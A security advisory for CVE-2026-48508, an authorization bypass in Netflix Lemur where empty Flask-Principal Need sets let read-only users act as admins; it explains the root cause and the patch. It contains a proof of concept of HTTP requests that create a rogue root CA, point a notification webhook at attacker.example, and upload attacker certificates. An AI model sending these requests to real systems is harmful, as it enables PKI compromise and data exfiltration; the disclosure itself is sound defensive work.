CVE-2026-48508: Lemur Authorization Bypass via Empty Flask-Principal Need Set
A read-only user in Netflix Lemur can create root Certificate Authorities, upload arbitrary certificates, and manipulate notifications because two permission classes default to an empty Need set…

The problem
Both StrictRolePermission and AuthorityCreatorPermission in lemur/auth/permissions.py call flask_principal.Permission.__init__() with zero arguments when their config flags are unset. Because both flags defaulted to False, this was the state of every default Lemur install.
Flask-Principal's Permission.allows() short-circuits to True whenever self.needs is empty. The .can() gate therefore passes for every authenticated identity, including the read-only role. The parent class AuthenticatedResource only checks that a token exists, so this permission check is the sole authorization layer in front of the affected endpoints.
Proof of concept
A working proof-of-concept for CVE-2026-48508 in lemur, with the exact payload below.
# Attacker holds only a valid read-only JWT/session token.
# Default install: ADMIN_ONLY_AUTHORITY_CREATION and LEMUR_STRICT_ROLE_ENFORCEMENT are both False.
# 1. Create a root CA as a read-only user
POST /api/1/authorities HTTP/1.1
Host: lemur.internal
Authorization: Bearer <READ_ONLY_TOKEN>
Content-Type: application/json
{
"name": "attacker-root-ca",
"owner": "attacker@corp.com",
"description": "rogue root",
"commonName": "Attacker Root CA",
"type": "root",
"keyType": "RSA2048",
"signingAlgorithm": "SHA256WithRSA",
"validityYears": 10
}
# 2. Create/hijack a notification (SSRF sink) as a read-only user
POST /api/1/notifications HTTP/1.1
Host: lemur.internal
Authorization: Bearer <READ_ONLY_TOKEN>
Content-Type: application/json
{
"label": "exfil",
"plugin": {"slug": "slack-notification"},
"options": [{"name": "webhook", "value": "https://attacker.example/collect"}],
"certificates": []
}
# 3. Upload an attacker-controlled certificate
POST /api/1/certificates/upload HTTP/1.1
Host: lemur.internal
Authorization: Bearer <READ_ONLY_TOKEN>
Content-Type: application/json
{
"owner": "attacker@corp.com",
"body": "<PEM_CERT>",
"privateKey": "<PEM_KEY>",
"chain": ""
}The root cause is that Permission.__init__(*needs) with no arguments produces self.needs = set(). Flask-Principal's allows() guard reads if self.needs and not self.needs.intersection(identity.provides), so an empty set makes the condition falsy and the check is skipped entirely, returning True for any caller.
The patch changed the default value of the config.get(...) second argument from False to True for both flags, so the if requires_admin / if strict_role_enforcement branch now fires on unconfigured installs and passes real RoleNeed objects to super().__init__().
A subsequent corrected release went further: StrictRolePermission now explicitly denies identities that carry the read-only role regardless of flag value, closing the opt-out path.
CWE-863 (Incorrect Authorization): the permission object is constructed but its Need set is empty, so authorization logic never actually evaluates the caller's role.
The fix
Upgrade to Lemur 1.9.1 (initial fix) or the subsequent corrected release. Do not explicitly set ADMIN_ONLY_AUTHORITY_CREATION = False or LEMUR_STRICT_ROLE_ENFORCEMENT = False in your config, as doing so reintroduces the empty-Need bypass. The safest posture is to leave both flags unset so the new secure defaults apply.
Related research
- CRITICAL · 9.9CVE-2026-55166CVE-2026-55166: Lemur ACME SSRF + Creator IDOR leads to AWS IAM and PKI key compromise
- highvantage6 Algorithm Store: Incorrect Authorization on Algorithm Edit Endpoint
- high · 8.7CVE-2026-70492CVE-2026-70492: open-webui Stored XSS via KaTeX Render-Error Fallback
- high · 7.1CVE-2026-70485CVE-2026-70485: Open WebUI NAT64-Encoded SSRF Filter Bypass